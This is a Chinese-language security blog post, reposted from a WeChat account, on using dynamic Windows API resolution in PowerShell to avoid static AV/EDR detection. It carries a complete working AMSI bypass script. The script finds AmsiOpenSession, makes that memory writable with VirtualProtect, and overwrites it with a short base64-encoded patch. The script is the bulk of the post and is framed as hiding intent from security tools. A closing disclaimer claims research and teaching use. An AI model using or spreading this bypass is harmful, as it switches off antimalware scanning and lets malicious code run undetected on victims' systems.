什么是动态 API 解析?
动态 API 解析是一种在运行时解析 Windows API 函数地址的技术,而不是在程序编译或加载时预先导入和声明。
这是使用如下函数实现的:
-
GetModuleHandle→ 获取 DLL 的句柄(如kernel32.dll或amsi.dll)
-
GetProcAddress→ 获取特定函数的内存地址(如AmsiOpenSession,VirtualProtect)
为什么动态 API 解析比静态导入更好?
静态 API 导入 | 动态 API 解析 |
---|---|
API 通过 P/Invoke 或链接预先声明 | 运行时在内存中查找 API |
导入在PE 头/IAT中可见 | 可执行文件中没有可见的 API 名称 |
易于 AV/EDR 静态扫描和检测 | 静态分析更难检测 |
通过已知的不良 API 模式检测 | 无需预先签名即可触发 |
例子:DllImport("kernel32.dll") |
GetModuleHandle("kernel32.dll") →GetProcAddress("VirtualProtect") |
简而言之:
静态导入会在代码运行之前向 AV/EDR 公开你的意图。
动态 API 解析保持隐藏状态,仅在需要时显示所需内容,从而降低静态检测风险。
functionLookupFunc{ Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1]. Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp=@() $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))}functiongetDelegateType{ Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, [Parameter(Position = 1)] [Type] $delType = [Void] ) $type = [AppDomain]::CurrentDomain. DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('InMemoryModule', $false). DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $type. DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func). SetImplementationFlags('Runtime, Managed') $type. DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func). SetImplementationFlags('Runtime, Managed')return $type.CreateType()}[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession$oldProtectionBuffer = 0$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)$buf = [Byte[]] ([Convert]::FromBase64String("SDHAAw==")) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
原文始发于微信公众号(Ots安全):使用 PowerShell 中的动态 API 解析绕过 AMSI
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论